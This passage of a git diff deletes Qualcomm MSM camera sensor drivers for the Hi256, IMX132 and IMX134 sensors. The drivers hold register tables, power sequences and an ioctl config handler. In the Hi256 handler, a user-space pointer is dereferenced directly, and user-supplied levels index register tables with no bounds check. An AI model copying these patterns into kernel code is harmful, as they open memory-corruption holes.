0x22}, - {0x85, 0x58}, - {0x86, 0x52}, -}; - -static struct msm_camera_i2c_reg_conf HI256_reg_wb_home[] = { - /* Home: */ - {0x03, 0x22}, - {0x11, 0x28}, - {0x80, 0x29}, - {0x82, 0x54}, - {0x83, 0x2e}, - {0x84, 0x23}, - {0x85, 0x58}, - {0x86, 0x4f}, -}; - - -static const struct i2c_device_id hi256_i2c_id[] = { - {HI256_SENSOR_NAME, (kernel_ulong_t)&hi256_s_ctrl}, - { } -}; - -static int32_t msm_hi256_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &hi256_s_ctrl); -} - -static struct i2c_driver hi256_i2c_driver = { - .id_table = hi256_i2c_id, - .probe = msm_hi256_i2c_probe, - .driver = { - .name = HI256_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client hi256_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, -}; - -static const struct of_device_id hi256_dt_match[] = { - {.compatible = "shinetech,hi256", .data = &hi256_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, hi256_dt_match); - -static struct platform_driver hi256_platform_driver = { - .driver = { - .name = "shinetech,hi256", - .owner = THIS_MODULE, - .of_match_table = hi256_dt_match, - }, -}; - -static void hi256_i2c_write_table(struct msm_sensor_ctrl_t *s_ctrl, - struct msm_camera_i2c_reg_conf *table, - int num) -{ - int i = 0; - int rc = 0; - for (i = 0; i < num; ++i) { - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write( - s_ctrl->sensor_i2c_client, table->reg_addr, - table->reg_data, - MSM_CAMERA_I2C_BYTE_DATA); - if (rc < 0) { - msleep(100); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write( - s_ctrl->sensor_i2c_client, table->reg_addr, - table->reg_data, - MSM_CAMERA_I2C_BYTE_DATA); - } - table++; - } -} - -static int32_t hi256_sensor_power_down(struct msm_sensor_ctrl_t *s_ctrl) -{ - hi256_i2c_write_table(s_ctrl, &hi256_sleep_settings[0], - ARRAY_SIZE(hi256_sleep_settings)); - return msm_sensor_power_down(s_ctrl); -} - -static int32_t hi256_platform_probe(struct platform_device *pdev) -{ - int32_t rc; - const struct of_device_id *match; - match = of_match_device(hi256_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init hi256_init_module(void) -{ - int32_t rc; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&hi256_platform_driver, - hi256_platform_probe); - if (!rc) - return rc; - return i2c_add_driver(&hi256_i2c_driver); -} - -static void __exit hi256_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (hi256_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&hi256_s_ctrl); - platform_driver_unregister(&hi256_platform_driver); - } else - i2c_del_driver(&hi256_i2c_driver); - return; -} - -static int32_t hi256_sensor_match_id(struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0; - uint16_t chipid = 0; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( - s_ctrl->sensor_i2c_client, - s_ctrl->sensordata->slave_info->sensor_id_reg_addr, - &chipid, MSM_CAMERA_I2C_BYTE_DATA); - if (rc < 0) { - pr_err("%s: %s: hi256 read id failed\n", __func__, - s_ctrl->sensordata->sensor_name); - return rc; - } - - CDBG("%s: read id: 0x%x expected id 0x%x:\n", __func__, chipid, - s_ctrl->sensordata->slave_info->sensor_id); - if (chipid != s_ctrl->sensordata->slave_info->sensor_id) { - pr_err("msm_sensor_match_id chip id doesnot match\n"); - return -ENODEV; - } - return rc; -} - -static void hi256_set_stauration(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - pr_debug("%s %d", __func__, value); - hi256_i2c_write_table(s_ctrl, &HI256_reg_saturation[value][0], - ARRAY_SIZE(HI256_reg_saturation[value])); -} - -static void hi256_set_contrast(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - pr_debug("%s %d", __func__, value); - hi256_i2c_write_table(s_ctrl, &HI256_reg_contrast[value][0], - ARRAY_SIZE(HI256_reg_contrast[value])); -} - -static void hi256_set_sharpness(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - int val = value / 6; - pr_debug("%s %d", __func__, value); - hi256_i2c_write_table(s_ctrl, &HI256_reg_sharpness[val][0], - ARRAY_SIZE(HI256_reg_sharpness[val])); -} - - -static void hi256_set_iso(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - pr_debug("%s %d", __func__, value); - hi256_i2c_write_table(s_ctrl, &HI256_reg_iso[value][0], - ARRAY_SIZE(HI256_reg_iso[value])); -} - -static void hi256_set_exposure_compensation(struct msm_sensor_ctrl_t *s_ctrl, - int value) -{ - int val = (value + 12) / 6; - pr_debug("%s %d", __func__, val); - hi256_i2c_write_table(s_ctrl, &HI256_reg_exposure_compensation[val][0], - ARRAY_SIZE(HI256_reg_exposure_compensation[val])); -} - -static void hi256_set_effect(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - pr_debug("%s %d", __func__, value); - switch (value) { - case MSM_CAMERA_EFFECT_MODE_OFF: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_normal[0], - ARRAY_SIZE(HI256_reg_effect_normal)); - break; - } - case MSM_CAMERA_EFFECT_MODE_MONO: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_black_white[0], - ARRAY_SIZE(HI256_reg_effect_black_white)); - break; - } - case MSM_CAMERA_EFFECT_MODE_NEGATIVE: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_negative[0], - ARRAY_SIZE(HI256_reg_effect_negative)); - break; - } - case MSM_CAMERA_EFFECT_MODE_SEPIA: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_old_movie[0], - ARRAY_SIZE(HI256_reg_effect_old_movie)); - break; - } - case MSM_CAMERA_EFFECT_MODE_SOLARIZE: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_solarize[0], - ARRAY_SIZE(HI256_reg_effect_solarize)); - break; - } - default: - hi256_i2c_write_table(s_ctrl, &HI256_reg_effect_normal[0], - ARRAY_SIZE(HI256_reg_effect_normal)); - } -} - -static void hi256_set_antibanding(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - pr_debug("%s %d", __func__, value); - hi256_i2c_write_table(s_ctrl, &HI256_reg_antibanding[value][0], - ARRAY_SIZE(HI256_reg_antibanding[value])); -} - -static void hi256_set_scene_mode(struct msm_sensor_ctrl_t *s_ctrl, int value) -{ - pr_debug("%s %d", __func__, value); - switch (value) { - case MSM_CAMERA_SCENE_MODE_OFF: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_auto[0], - ARRAY_SIZE(HI256_reg_scene_auto)); - break; - } - case MSM_CAMERA_SCENE_MODE_NIGHT: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_night[0], - ARRAY_SIZE(HI256_reg_scene_night)); - break; - } - case MSM_CAMERA_SCENE_MODE_LANDSCAPE: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_landscape[0], - ARRAY_SIZE(HI256_reg_scene_landscape)); - break; - } - case MSM_CAMERA_SCENE_MODE_PORTRAIT: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_portrait[0], - ARRAY_SIZE(HI256_reg_scene_portrait)); - break; - } - default: - hi256_i2c_write_table(s_ctrl, &HI256_reg_scene_auto[0], - ARRAY_SIZE(HI256_reg_scene_auto)); - } -} - -static void hi256_set_white_balance_mode(struct msm_sensor_ctrl_t *s_ctrl, - int value) -{ - pr_debug("%s %d", __func__, value); - switch (value) { - case MSM_CAMERA_WB_MODE_AUTO: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_auto[0], - ARRAY_SIZE(HI256_reg_wb_auto)); - break; - } - case MSM_CAMERA_WB_MODE_INCANDESCENT: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_home[0], - ARRAY_SIZE(HI256_reg_wb_home)); - break; - } - case MSM_CAMERA_WB_MODE_DAYLIGHT: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_sunny[0], - ARRAY_SIZE(HI256_reg_wb_sunny)); - break; - } - case MSM_CAMERA_WB_MODE_FLUORESCENT: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_office[0], - ARRAY_SIZE(HI256_reg_wb_office)); - break; - } - case MSM_CAMERA_WB_MODE_CLOUDY_DAYLIGHT: { - hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_cloudy[0], - ARRAY_SIZE(HI256_reg_wb_cloudy)); - break; - } - default: - hi256_i2c_write_table(s_ctrl, &HI256_reg_wb_auto[0], - ARRAY_SIZE(HI256_reg_wb_auto)); - } -} - -int32_t hi256_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - int32_t rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, - s_ctrl->sensordata->sensor_name, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_SET_INIT_SETTING: - CDBG("init setting"); - hi256_i2c_write_table(s_ctrl, - &hi256_recommend_settings[0], - ARRAY_SIZE(hi256_recommend_settings)); - CDBG("init setting X"); - break; - case CFG_SET_RESOLUTION: { - int val = 0; - if (copy_from_user(&val, - (void *)cdata->cfg.setting, sizeof(int))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - if (val == 0) - hi256_i2c_write_table(s_ctrl, &hi256_uxga_settings[0], - ARRAY_SIZE(hi256_uxga_settings)); - else if (val == 1) - hi256_i2c_write_table(s_ctrl, &hi256_svga_settings[0], - ARRAY_SIZE(hi256_svga_settings)); - break; - } - case CFG_SET_STOP_STREAM: - hi256_i2c_write_table(s_ctrl, - &hi256_stop_settings[0], - ARRAY_SIZE(hi256_stop_settings)); - break; - case CFG_SET_START_STREAM: - hi256_i2c_write_table(s_ctrl, - &hi256_start_settings[0], - ARRAY_SIZE(hi256_start_settings)); - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_sensor_power_setting_array *power_setting_array; - int slave_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) { - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - } - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - - /* Update power up / down sequence */ - s_ctrl->power_setting_array = - sensor_slave_info.power_setting_array; - power_setting_array = &s_ctrl->power_setting_array; - power_setting_array->power_setting = kzalloc( - power_setting_array->size * - sizeof(struct msm_sensor_power_setting), GFP_KERNEL); - if (!power_setting_array->power_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(power_setting_array->power_setting, - (void *) - sensor_slave_info.power_setting_array.power_setting, - power_setting_array->size * - sizeof(struct msm_sensor_power_setting))) { - kfree(power_setting_array->power_setting); - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.slave_addr); - CDBG("%s sensor addr type %d\n", __func__, - sensor_slave_info.addr_type); - CDBG("%s sensor reg 0x%x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr); - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id); - for (slave_index = 0; slave_index < - power_setting_array->size; slave_index++) { - CDBG("%s i %d power setting %d %d %ld %d\n", __func__, - slave_index, - power_setting_array->power_setting[slave_index]. - seq_type, - power_setting_array->power_setting[slave_index]. - seq_val, - power_setting_array->power_setting[slave_index]. - config_val, - power_setting_array->power_setting[slave_index]. - delay); - } - kfree(power_setting_array->power_setting); - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->func_tbl->sensor_power_up) - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_POWER_DOWN: - if (s_ctrl->func_tbl->sensor_power_down) - rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - case CFG_SET_SATURATION: { - int32_t sat_lev; - if (copy_from_user(&sat_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Saturation Value is %d", __func__, sat_lev); - hi256_set_stauration(s_ctrl, sat_lev); - break; - } - case CFG_SET_CONTRAST: { - int32_t con_lev; - if (copy_from_user(&con_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Contrast Value is %d", __func__, con_lev); - hi256_set_contrast(s_ctrl, con_lev); - break; - } - case CFG_SET_SHARPNESS: { - int32_t shp_lev; - if (copy_from_user(&shp_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Sharpness Value is %d", __func__, shp_lev); - hi256_set_sharpness(s_ctrl, shp_lev); - break; - } - case CFG_SET_ISO: { - int32_t iso_lev; - if (copy_from_user(&iso_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: ISO Value is %d", __func__, iso_lev); - hi256_set_iso(s_ctrl, iso_lev); - break; - } - case CFG_SET_EXPOSURE_COMPENSATION: { - int32_t ec_lev; - if (copy_from_user(&ec_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Exposure compensation Value is %d", - __func__, ec_lev); - hi256_set_exposure_compensation(s_ctrl, ec_lev); - break; - } - case CFG_SET_EFFECT: { - int32_t effect_mode; - if (copy_from_user(&effect_mode, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Effect mode is %d", __func__, effect_mode); - hi256_set_effect(s_ctrl, effect_mode); - break; - } - case CFG_SET_ANTIBANDING: { - int32_t antibanding_mode; - if (copy_from_user(&antibanding_mode, - (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: anti-banding mode is %d", __func__, - antibanding_mode); - hi256_set_antibanding(s_ctrl, antibanding_mode); - break; - } - case CFG_SET_BESTSHOT_MODE: { - int32_t bs_mode; - if (copy_from_user(&bs_mode, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: best shot mode is %d", __func__, bs_mode); - hi256_set_scene_mode(s_ctrl, bs_mode); - break; - } - case CFG_SET_WHITE_BALANCE: { - int32_t wb_mode; - if (copy_from_user(&wb_mode, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: white balance is %d", __func__, wb_mode); - hi256_set_white_balance_mode(s_ctrl, wb_mode); - break; - } - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - - return rc; -} - -static struct msm_sensor_fn_t hi256_sensor_func_tbl = { - .sensor_config = hi256_sensor_config, - .sensor_power_up = msm_sensor_power_up, - .sensor_power_down = hi256_sensor_power_down, - .sensor_match_id = hi256_sensor_match_id, -}; - -static struct msm_sensor_ctrl_t hi256_s_ctrl = { - .sensor_i2c_client = &hi256_sensor_i2c_client, - .power_setting_array.power_setting = hi256_power_setting, - .power_setting_array.size = ARRAY_SIZE(hi256_power_setting), - .msm_sensor_mutex = &hi256_mut, - .sensor_v4l2_subdev_info = hi256_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(hi256_subdev_info), - .func_tbl = &hi256_sensor_func_tbl, -}; - -module_init(hi256_init_module); -module_exit(hi256_exit_module); -MODULE_DESCRIPTION("Hi256 2MP YUV sensor driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c deleted file mode 100644 index f9d057ac403c8..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c +++ /dev/null @@ -1,154 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define IMX132_SENSOR_NAME "imx132" -DEFINE_MSM_MUTEX(imx132_mut); - -static struct msm_sensor_ctrl_t imx132_s_ctrl; - -static struct msm_sensor_power_setting imx132_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 5, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info imx132_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SRGGB10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id imx132_i2c_id[] = { - {IMX132_SENSOR_NAME, (kernel_ulong_t)&imx132_s_ctrl}, - { } -}; - -static int32_t msm_imx132_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &imx132_s_ctrl); -} -static struct i2c_driver imx132_i2c_driver = { - .id_table = imx132_i2c_id, - .probe = msm_imx132_i2c_probe, - .driver = { - .name = IMX132_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client imx132_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id imx132_dt_match[] = { - {.compatible = "qcom,imx132", .data = &imx132_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, imx132_dt_match); - -static struct platform_driver imx132_platform_driver = { - .driver = { - .name = "qcom,imx132", - .owner = THIS_MODULE, - .of_match_table = imx132_dt_match, - }, -}; - -static int32_t imx132_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(imx132_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init imx132_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&imx132_platform_driver, - imx132_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&imx132_i2c_driver); -} - -static void __exit imx132_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (imx132_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&imx132_s_ctrl); - platform_driver_unregister(&imx132_platform_driver); - } else - i2c_del_driver(&imx132_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t imx132_s_ctrl = { - .sensor_i2c_client = &imx132_sensor_i2c_client, - .power_setting_array.power_setting = imx132_power_setting, - .power_setting_array.size = ARRAY_SIZE(imx132_power_setting), - .msm_sensor_mutex = &imx132_mut, - .sensor_v4l2_subdev_info = imx132_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(imx132_subdev_info), -}; - -module_init(imx132_init_module); -module_exit(imx132_exit_module); -MODULE_DESCRIPTION("imx132"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c deleted file mode 100644 index 17a50889a88af..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c +++ /dev/null @@ -1,174 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define IMX134_SENSOR_NAME "imx134" -DEFINE_MSM_MUTEX(imx134_mut); - -static struct msm_sensor_ctrl_t imx134_s_ctrl; - -static struct msm_sensor_power_setting imx134_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info imx134_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id imx134_i2c_id[] = { - {IMX134_SENSOR_NAME, (kernel_ulong_t)&imx134_s_ctrl}, - { } -}; - -static int32_t msm_imx134_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &imx134_s_ctrl); -} - -static struct i2c_driver imx134_i2c_driver = { - .id_table = imx134_i2c_id, - .probe = msm_imx134_i2c_probe, - .driver = { - .name = IMX134_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client imx134_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id imx134_dt_match[] = { - {.compatible = "sne,imx134", .data = &imx134_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, imx134_dt_match); - -static struct platform_driver imx134_platform_driver = { - .driver = { - .name = "sne,imx134", - .owner = THIS_MODULE, - .of_match_table = imx134_dt_match, - }, -}; - -static int32_t imx134_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(imx134_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init imx134_init_module(void) -{ - int32_t rc = 0; - pr_debug("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&imx134_platform_driver, - imx134_platform_probe); - if (!rc) - return rc; - pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&imx134_i2c_driver); -} - -static void __exit imx134_exit_module(void) -{ - pr_debug("%s:%d\n", __func__, __LINE__); - if (imx134_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&imx134_s_ctrl); - 